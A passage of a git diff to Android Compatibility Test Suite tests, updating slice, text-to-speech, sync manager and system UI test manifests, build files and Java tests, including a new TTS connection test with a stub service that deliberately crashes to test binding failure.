+             android:process=":slice_process"/>
 
         <provider android:name=".LocalSliceProvider"
-            android:authorities="android.slice.cts.local">
+             android:authorities="android.slice.cts.local">
             <intent-filter>
-                <action android:name="android.slice.cts.action.TEST_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.app.slice.category.SLICE" />
+                <action android:name="android.slice.cts.action.TEST_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.app.slice.category.SLICE"/>
             </intent-filter>
         </provider>
 
-        <activity android:name=".Launcher">
+        <activity android:name=".Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.slice.cts"
-                     android:label="CTS tests of android.slice">
+         android:targetPackage="android.slice.cts"
+         android:label="CTS tests of android.slice">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
index 89f3ac1..d6e6659 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
@@ -156,7 +156,8 @@
 
     @Test
     public void testActionSubtype() {
-        PendingIntent i = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent i = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Slice subSlice = new Slice.Builder(BASE_URI.buildUpon().appendPath("s").build(), SPEC)
                 .build();
         Slice s = new Slice.Builder(BASE_URI, SPEC)
diff --git a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
index 135c67a..faf6e8f 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
@@ -145,7 +145,8 @@
         };
         try {
             Uri uri = BASE_URI.buildUpon().path("permission").build();
-            PendingIntent intent = PendingIntent.getBroadcast(mContext, 0, new Intent(""), 0);
+            PendingIntent intent = PendingIntent.getBroadcast(mContext, 0, new Intent(""),
+                    PendingIntent.FLAG_IMMUTABLE);
 
             when(LocalSliceProvider.sProxy.onCreatePermissionRequest(any())).thenReturn(intent);
 
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProvider.java b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
index 20ec2e5..2b1cc1c 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProvider.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceProvider.java
@@ -90,7 +90,8 @@
                 Builder builder = new Builder(sliceUri, SPEC);
                 Slice subSlice = new Slice.Builder(builder).build();
                 PendingIntent broadcast = PendingIntent.getBroadcast(getContext(), 0,
-                        new Intent(getContext().getPackageName() + ".action"), 0);
+                        new Intent(getContext().getPackageName() + ".action"),
+                        PendingIntent.FLAG_IMMUTABLE);
                 return builder.addAction(broadcast, subSlice, "action").build();
             case "/int":
                 return new Slice.Builder(sliceUri, SPEC).addInt(0xff121212, "int",
diff --git a/tests/tests/speech/Android.bp b/tests/tests/speech/Android.bp
index 295b4f2..d176ea2 100644
--- a/tests/tests/speech/Android.bp
+++ b/tests/tests/speech/Android.bp
@@ -22,6 +22,7 @@
     static_libs: [
         "ctstestrunner-axt",
         "androidx.test.rules",
+        "compatibility-device-util-axt",
     ],
     libs: ["android.test.base"],
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/speech/AndroidManifest.xml b/tests/tests/speech/AndroidManifest.xml
index f3b4d0f..5043d03 100755
--- a/tests/tests/speech/AndroidManifest.xml
+++ b/tests/tests/speech/AndroidManifest.xml
@@ -16,27 +16,38 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.speech.tts.cts">
+     package="android.speech.tts.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <service android:name="android.speech.tts.cts.StubTextToSpeechService">
+        <service android:name="android.speech.tts.cts.StubTextToSpeechService"
+             android:enabled="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.TTS_SERVICE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.TTS_SERVICE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </service>
+
+        <service android:name="android.speech.tts.cts.ConnectionTestTextToSpeechService"
+            android:exported="true"
+            android:process=":ConnectionTest"
+            android:enabled="false">
+            <intent-filter>
+                <action android:name="android.intent.action.TTS_SERVICE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.speech.tts.cts"
-                     android:label="CTS tests of android.speech">
+         android:targetPackage="android.speech.tts.cts"
+         android:label="CTS tests of android.speech">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/speech/src/android/speech/tts/cts/ConnectionTestTextToSpeechService.java b/tests/tests/speech/src/android/speech/tts/cts/ConnectionTestTextToSpeechService.java
new file mode 100644
index 0000000..21a6bba
--- /dev/null
+++ b/tests/tests/speech/src/android/speech/tts/cts/ConnectionTestTextToSpeechService.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.speech.tts.cts;
+
+import static android.speech.tts.cts.TextToSpeechConstants.TTS_TEST_ON_UNBIND_ACTION;
+import static android.speech.tts.cts.TextToSpeechConstants.TTS_TEST_SERVICE_CRASH_FLAG_FILE;
+
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.Process;
+import android.speech.tts.SynthesisCallback;
+import android.speech.tts.SynthesisRequest;
+import android.speech.tts.TextToSpeech;
+import android.speech.tts.TextToSpeechService;
+import android.util.Log;
+
+import java.io.File;
+
+/**
+ * Stub service for testing {@link android.speech.tts.TextToSpeech} connection related
+ * functionality.
+ */
+public class ConnectionTestTextToSpeechService extends TextToSpeechService {
+    private static final String LOG_TAG = "ConnectionTestTextToSpeechService";
+
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        Log.d(LOG_TAG, "onCreate");
+
+        if (new File(getApplicationContext().getCacheDir(),
+                TTS_TEST_SERVICE_CRASH_FLAG_FILE).exists()) {
+            Log.d(LOG_TAG, "Going to crash itself. Pid: " + Process.myPid());
+            Process.killProcess(Process.myPid());
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.d(LOG_TAG, "onBind");
+
+        return super.onBind(intent);
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        Log.d(LOG_TAG, "onUnbind");
+
+        sendBroadcast(new Intent(TTS_TEST_ON_UNBIND_ACTION));
+
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onStop() {
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(LOG_TAG, "onDestroy");
+        super.onDestroy();
+    }
+
+    @Override
+    protected String[] onGetLanguage() {
+        return new String[]{"eng", "US", ""};
+    }
+
+    @Override
+    protected int onIsLanguageAvailable(String lang, String country, String variant) {
+        return TextToSpeech.LANG_NOT_SUPPORTED;
+    }
+
+    @Override
+    protected int onLoadLanguage(String lang, String country, String variant) {
+        return onIsLanguageAvailable(lang, country, variant);
+    }
+
+    @Override
+    protected void onSynthesizeText(SynthesisRequest request, SynthesisCallback callback) {
+    }
+
+    @Override
+    public String onGetDefaultVoiceNameFor(String lang, String country, String variant) {
+        return "";
+    }
+}
diff --git a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
index 4665644..e6e06d6 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/StubTextToSpeechService.java
@@ -48,28 +48,42 @@
 
     public StubTextToSpeechService() {
         supportedLanguages.add(new Locale("eng"));
-        supportedCountries.add(new Locale("eng", "USA"));
-        supportedCountries.add(new Locale("eng", "GBR"));
-        GBFallbacks.add(new Locale("eng", "NZL"));
+        supportedCountries.add(new Locale("eng", "US"));
+        supportedCountries.add(new Locale("eng", "GB"));
+        GBFallbacks.add(new Locale("eng", "NZ"));
     }
 
     @Override
     protected String[] onGetLanguage() {
-        return new String[] { "eng", "USA", "" };
+        return new String[] { "eng", "US", "" };
     }
 
     @Override
     protected int onIsLanguageAvailable(String lang, String country, String variant) {
+        country = convertISO3CountryToISO2(country);
         if (supportedCountries.contains(new Locale(lang, country))) {
             return TextToSpeech.LANG_COUNTRY_AVAILABLE;
         }
         if (supportedLanguages.contains(new Locale(lang))) {
             return TextToSpeech.LANG_AVAILABLE;
         }
- 
+
         return TextToSpeech.LANG_NOT_SUPPORTED;
     }
 
+    private String convertISO3CountryToISO2(String iso3Country) {
+      switch (iso3Country.toUpperCase()) {
+        case "USA":
+          return "US";
+        case "GBR":
+          return "GB";
+        case "NZL":
+          return "NZ";
+        default:
+          return iso3Country;
+      }
+    }
+
     @Override
     protected int onLoadLanguage(String lang, String country, String variant) {
         return onIsLanguageAvailable(lang, country, variant);
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechConnectionTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechConnectionTest.java
new file mode 100644
index 0000000..9997eff
--- /dev/null
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechConnectionTest.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.speech.tts.cts;
+
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
+import static android.content.pm.PackageManager.DONT_KILL_APP;
+import static android.speech.tts.cts.TextToSpeechConstants.MOCK_TTS_ENGINE;
+import static android.speech.tts.cts.TextToSpeechConstants.TTS_TEST_ON_UNBIND_ACTION;
+import static android.speech.tts.cts.TextToSpeechConstants.TTS_TEST_SERVICE_CRASH_FLAG_FILE;
+
+import android.annotation.NonNull;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.speech.tts.TextToSpeech;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import java.io.File;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Supplier;
+import java.util.stream.IntStream;
+
+/**
+ * Tests for {@link android.speech.tts.TextToSpeech} connection related functionality.
+ */
+public class TextToSpeechConnectionTest extends AndroidTestCase {
+    private static final String LOG_TAG = "TextToSpeechConnectionTest";
+    /** TTS initialization waiting time limit millis */
+    private static final long TTS_INIT_WAITING_TIME_LIMIT_MILLIS = 10L * 1000L;
+    /** Waiting time for broadcast actions limit millis */
+    private static final long TTS_SERVICE_BROADCAST_WAITING_TIME_LIMIT_MILLIS = 10L * 1000L;
+
+    private static final int TTS_TEST_SHUTDOWN_CLIENTS_COUNT = 4;
+
+    private Context mContext;
+    private PackageManager mPackageManager;
+
+    private TtsInitListener mTtsInitListener;
+    private TextToSpeech mTts;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mContext = getContext();
+        mPackageManager = getContext().getPackageManager();
+
+        mTtsInitListener = new TtsInitListener();
+
+        disableService(StubTextToSpeechService.class);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        if (mTts != null) {
+            mTts.shutdown();
+        }
+
+        new File(mContext.getCacheDir(), TTS_TEST_SERVICE_CRASH_FLAG_FILE).delete();
+
+        disableService(ConnectionTestTextToSpeechService.class);
+        enableService(StubTextToSpeechService.class);
+    }
+
+    public void testConnectionSuccess() throws Exception {
+
+        enableService(ConnectionTestTextToSpeechService.class);
+
+        createTts();
+        Integer initStatus = mTtsInitListener.waitForInitStatus();
+
+        assertNotNull(initStatus);
+        assertEquals(TextToSpeech.SUCCESS, initStatus.intValue());
+    }
+
+    public void testEngineNotAvailableConnectionFailure() throws Exception {
+
+        // Note: ConnectionTest service is not enabled here.
+
+        createTts();
+        Integer initStatus = mTtsInitListener.waitForInitStatus();
+
+        assertNotNull(initStatus);
+        assertEquals(TextToSpeech.ERROR, initStatus.intValue());
+    }
+
+    public void testShutdownStateCleared() throws Exception {
+
+        enableService(ConnectionTestTextToSpeechService.class);
+
+        createTts();
+        mTtsInitListener.waitForInitStatus();
+
+        assertNotNull(mTts.getCurrentEngine());
+
+        mTts.shutdown();
+
+        assertNull(mTts.getCurrentEngine());
+    }
+
+    public void testClientsShutdownServiceUnbound() throws Exception {
+
+        enableService(ConnectionTestTextToSpeechService.class);
+
+        BlockingBroadcastReceiver unbindReceiver = new BlockingBroadcastReceiver(mContext,
+                TTS_TEST_ON_UNBIND_ACTION);
+        unbindReceiver.register();
+
+        Supplier<IntStream> ttsClientsStream = () -> IntStream.range(0,
+                TTS_TEST_SHUTDOWN_CLIENTS_COUNT);
+
+        TtsInitListener[] initListeners = ttsClientsStream.get().mapToObj(
+                i -> new TtsInitListener()).toArray(TtsInitListener[]::new);
+        TextToSpeech[] ttsClients = ttsClientsStream.get().mapToObj(
+                i -> createTtsForListener(initListeners[i])).toArray(TextToSpeech[]::new);
+
+        ttsClientsStream.get().forEach(i -> initListeners[i].waitForInitStatus());
+
+        ttsClientsStream.get().forEach(i -> ttsClients[i].shutdown());
+
+        assertNotNull(unbindReceiver.awaitForBroadcast(
+                TTS_SERVICE_BROADCAST_WAITING_TIME_LIMIT_MILLIS));
+
+        unbindReceiver.unregisterQuietly();
+    }
+
+    public void testServiceBindingErrorConnectionFailure() throws Exception {
+
+        enableService(ConnectionTestTextToSpeechService.class);
+
+        // Indicates whether to crash the process upon ConnectionTestTextToSpeechService
+        // creation.
+        new File(mContext.getCacheDir(), TTS_TEST_SERVICE_CRASH_FLAG_FILE).createNewFile();
+
+        // At this stage the service is enabled - TextToSpeech tries to connect
+        createTts();
+        // Service crashed and disabled - bindService will fail.
+        disableService(ConnectionTestTextToSpeechService.class);
+
+        Integer initStatus = mTtsInitListener.waitForInitStatus();
+
+
+        assertNotNull(initStatus);
+        assertEquals(TextToSpeech.ERROR, initStatus.intValue());
+    }
+
+    private TextToSpeech createTtsForListener(TtsInitListener initListener) {
+        return new TextToSpeech(mContext, initListener, MOCK_TTS_ENGINE,
+                null, /* useFallback= */ false);
+    }
+
+    private void createTts() {
+        mTts = createTtsForListener(mTtsInitListener);
+    }
+
+    private void enableService(@NonNull Class<?> clazz) {
+        setServiceEnabledState(clazz, /* enabled= */ true);
+    }
+
+    private void disableService(@NonNull Class<?> clazz) {
+        setServiceEnabledState(clazz, /* enabled= */ false);
+    }
+
+    private void setServiceEnabledState(@NonNull Class<?> clazz, boolean enabled) {
+        int newState = enabled ? COMPONENT_ENABLED_STATE_ENABLED : COMPONENT_ENABLED_STATE_DISABLED;
+
+        Log.d(LOG_TAG,
+                "Setting service state to: " + enabled + ". Service: " + clazz.getSimpleName());
+
+        ComponentName componentName = new ComponentName(mContext, clazz);
+        mPackageManager.setComponentEnabledSetting(componentName, newState, DONT_KILL_APP);
+    }
+
+    /**
+     * Listener for waiting for TTS engine initialization completion.
+     */
+    private static class TtsInitListener implements TextToSpeech.OnInitListener {
+        private final CountDownLatch mCountDownLatch;
+        private Integer mStatus = null;
+
+        TtsInitListener() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        public void onInit(int status) {
+            Log.d(LOG_TAG, "TtsInitListener: Got Init status: " + status);
+            mStatus = status;
+            mCountDownLatch.countDown();
+        }
+
+        public Integer waitForInitStatus() {
+            try {
+                boolean resultAccepted = mCountDownLatch.await(TTS_INIT_WAITING_TIME_LIMIT_MILLIS,
+                        TimeUnit.MILLISECONDS);
+                Log.d(LOG_TAG, "TtsInitListener: End waiting. Expired: " + !resultAccepted);
+            } catch (Exception ex) {
+                Log.e(LOG_TAG, "TtsInitListener: Error waiting for TTS initialization", ex);
+            }
+
+            return mStatus;
+        }
+    }
+}
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechConstants.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechConstants.java
new file mode 100644
index 0000000..d1fd3d7
--- /dev/null
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechConstants.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.speech.tts.cts;
+
+/**
+ * {@link android.speech.tts.TextToSpeech} testing related constants.
+ */
+class TextToSpeechConstants {
+
+    static final String TTS_TEST_ON_UNBIND_ACTION = "android.speech.tts.cts.ON_UNBIND_ACTION";
+
+    static final String MOCK_TTS_ENGINE = "android.speech.tts.cts";
+
+    static final String TTS_TEST_SERVICE_CRASH_FLAG_FILE = "tts_test_service_crash_flag_file";
+
+    private TextToSpeechConstants() {
+    }
+}
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
index addd14e..869b7e4 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechServiceTest.java
@@ -15,6 +15,8 @@
  */
 package android.speech.tts.cts;
 
+import android.media.AudioAttributes;
+import android.net.Uri;
 import android.os.Bundle;
 import android.os.ConditionVariable;
 import android.os.Environment;
@@ -27,6 +29,7 @@
 import java.util.HashMap;
 import java.util.Map;
 import java.util.List;
+import java.util.Locale;
 
 /**
  * Tests for {@link android.speech.tts.TextToSpeechService} using StubTextToSpeechService.
@@ -34,6 +37,8 @@
 public class TextToSpeechServiceTest extends AndroidTestCase {
     private static final String UTTERANCE = "text to speech cts test";
     private static final String SAMPLE_FILE_NAME = "mytts.wav";
+    private static final String EARCON_UTTERANCE = "testEarcon";
+    private static final String SPEECH_UTTERANCE = "testSpeech";
 
     private TextToSpeechWrapper mTts;
 
@@ -206,6 +211,82 @@
         }
     }
 
+    public void testAddPlayEarcon() throws Exception {
+      File sampleFile = new File(getContext().getExternalFilesDir(null), SAMPLE_FILE_NAME);
+      try {
+        generateSampleAudio(sampleFile);
+
+        Uri sampleUri = Uri.fromFile(sampleFile);
+        assertEquals(getTts().addEarcon(EARCON_UTTERANCE, sampleFile), TextToSpeech.SUCCESS);
+
+        int result = getTts().playEarcon(EARCON_UTTERANCE,
+            TextToSpeech.QUEUE_FLUSH, createParamsBundle(EARCON_UTTERANCE), EARCON_UTTERANCE);
+
+        verifyAddPlay(result, mTts, EARCON_UTTERANCE);
+      } finally {
+        sampleFile.delete();
+      }
+    }
+
+    public void testAddPlaySpeech() throws Exception {
+      File sampleFile = new File(getContext().getExternalFilesDir(null), SAMPLE_FILE_NAME);
+      try {
+        generateSampleAudio(sampleFile);
+
+        Uri sampleUri = Uri.fromFile(sampleFile);
+        assertEquals(getTts().addSpeech(SPEECH_UTTERANCE, sampleFile), TextToSpeech.SUCCESS);
+
+        int result = getTts().speak(SPEECH_UTTERANCE,
+            TextToSpeech.QUEUE_FLUSH, createParamsBundle(SPEECH_UTTERANCE), SPEECH_UTTERANCE);
+
+        verifyAddPlay(result, mTts, SPEECH_UTTERANCE);
+      } finally {
+        sampleFile.delete();
+      }
+    }
+
+    public void testSetLanguage() {
+      TextToSpeech tts = getTts();
+
+      assertEquals(tts.setLanguage(null), TextToSpeech.LANG_NOT_SUPPORTED);
+      assertEquals(tts.setLanguage(new Locale("en", "US")), TextToSpeech.LANG_COUNTRY_AVAILABLE);
+      assertEquals(tts.setLanguage(new Locale("en")), TextToSpeech.LANG_AVAILABLE);
+      assertEquals(tts.setLanguage(new Locale("es", "US")), TextToSpeech.LANG_NOT_SUPPORTED);
+    }
+
+    public void testAddAudioAttributes() {
+      TextToSpeech tts = getTts();
+      AudioAttributes attr =
+          new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build();
+
+      assertEquals(tts.setAudioAttributes(null), TextToSpeech.ERROR);
+      assertEquals(tts.setAudioAttributes(attr), TextToSpeech.SUCCESS);
+    }
+
+    private void generateSampleAudio(File sampleFile) throws Exception {
+      assertFalse(sampleFile.exists());
+
+      ParcelFileDescriptor fileDescriptor = ParcelFileDescriptor.open(sampleFile,
+          ParcelFileDescriptor.MODE_WRITE_ONLY
+          | ParcelFileDescriptor.MODE_CREATE
+          | ParcelFileDescriptor.MODE_TRUNCATE);
+
+      Bundle params = createParamsBundle("mocktofile");
+
+      int result =
+          getTts().synthesizeToFile(
+              UTTERANCE, params, fileDescriptor,
+              params.getString(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID));
+
+      verifySynthesisFile(result, mTts, sampleFile);
+    }
+
+    private void verifyAddPlay(int result, TextToSpeechWrapper mTts, String utterance)
+        throws Exception {
+      assertEquals(TextToSpeech.SUCCESS, result);
+      assertTrue(mTts.waitForComplete(utterance));
+    }
+
     private HashMap<String, String> createParams(String utteranceId) {
         HashMap<String, String> params = new HashMap<>();
         params.put(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID, utteranceId);
diff --git a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechWrapper.java b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechWrapper.java
index 1461d91..099bd70 100644
--- a/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechWrapper.java
+++ b/tests/tests/speech/src/android/speech/tts/cts/TextToSpeechWrapper.java
@@ -15,6 +15,8 @@
  */
 package android.speech.tts.cts;
 
+import static android.speech.tts.cts.TextToSpeechConstants.MOCK_TTS_ENGINE;
+
 import android.content.Context;
 import android.media.MediaPlayer;
 import android.speech.tts.TextToSpeech;
@@ -40,8 +42,6 @@
 public class TextToSpeechWrapper {
     private static final String LOG_TAG = "TextToSpeechServiceTest";
 
-    public static final String MOCK_TTS_ENGINE = "android.speech.tts.cts";
-
     private final Context mContext;
     private TextToSpeech mTts;
     private final InitWaitListener mInitListener;
diff --git a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
index 0aa79ec..39ee5b5 100644
--- a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
+++ b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
@@ -44,6 +44,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
 import androidx.test.filters.LargeTest;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -203,6 +204,7 @@
     }
 
     @Test
+    @FlakyTest
     public void testSoftErrorRetriesActiveApp() throws Exception {
         removeAllAccounts();
 
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index 011dbfd..0d28f65 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -23,14 +23,27 @@
         "cts",
         "general-tests",
     ],
-    libs: ["android.test.runner"],
+
+    libs: [
+        "android.test.runner",
+    ],
+
     static_libs: [
+        "kotlin-stdlib",
+        "kotlin-test",
+        "systemui-cts-common",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "CtsMockInputMethodLib",
         "androidx.test.rules",
+        "androidx.test.ext.junit",
+        "androidx.test.uiautomator",
         "cts-wm-util",
         "ub-uiautomator",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
     platform_apis: true,
 }
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index c7732c2..f55ed3f 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -16,33 +16,48 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.systemui.cts"
-    android:targetSandboxVersion="2">
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+     package="android.systemui.cts"
+     android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.READ_DREAM_STATE"/>
+    <uses-permission android:name="android.permission.WRITE_DREAM_STATE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <!-- Required by flickerlib to dump window states -->
+    <uses-permission android:name="android.permission.DUMP"/>
+
     <application android:requestLegacyExternalStorage="true">
         <activity android:name=".LightBarActivity"
-                android:theme="@android:style/Theme.Material.NoActionBar"
-                android:screenOrientation="portrait"></activity>
+             android:theme="@android:style/Theme.Material.NoActionBar"
+             android:screenOrientation="portrait"/>
         <activity android:name=".LightBarThemeActivity"
-                android:theme="@style/LightBarTheme"
-                android:screenOrientation="portrait"></activity>
+             android:theme="@style/LightBarTheme"
+             android:screenOrientation="portrait"/>
         <activity android:name=".WindowInsetsActivity"
-                android:theme="@android:style/Theme.Material"
-                android:screenOrientation="portrait">
+             android:theme="@android:style/Theme.Material"
+             android:screenOrientation="portrait"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <uses-library android:name="android.test.runner" />
+
+        <service android:name=".NotificationListener"
+                 android:exported="true"
+                 android:label="TestNotificationListenerService"
+                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.systemui.cts">
+         android:targetPackage="android.systemui.cts">
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index 927905a..74876ae 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -20,10 +20,17 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemUiTestCases.apk" />
+        <option name="test-file-name" value="PipTestApp.apk" />
+        <option name="test-file-name" value="AudioRecorderTestApp_AudioRecord.apk" />
+        <option name="test-file-name" value="AudioRecorderTestApp_MediaRecorder.apk" />
+        <option name="test-file-name" value="CtsMockInputMethod.apk" />
+        <option name="test-file-name" value="CtsVpnFirewallApp.apk" />
     </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.systemui.cts" />
         <option name="runtime-hint" value="10m19s" />
diff --git a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
new file mode 100644
index 0000000..3737637
--- /dev/null
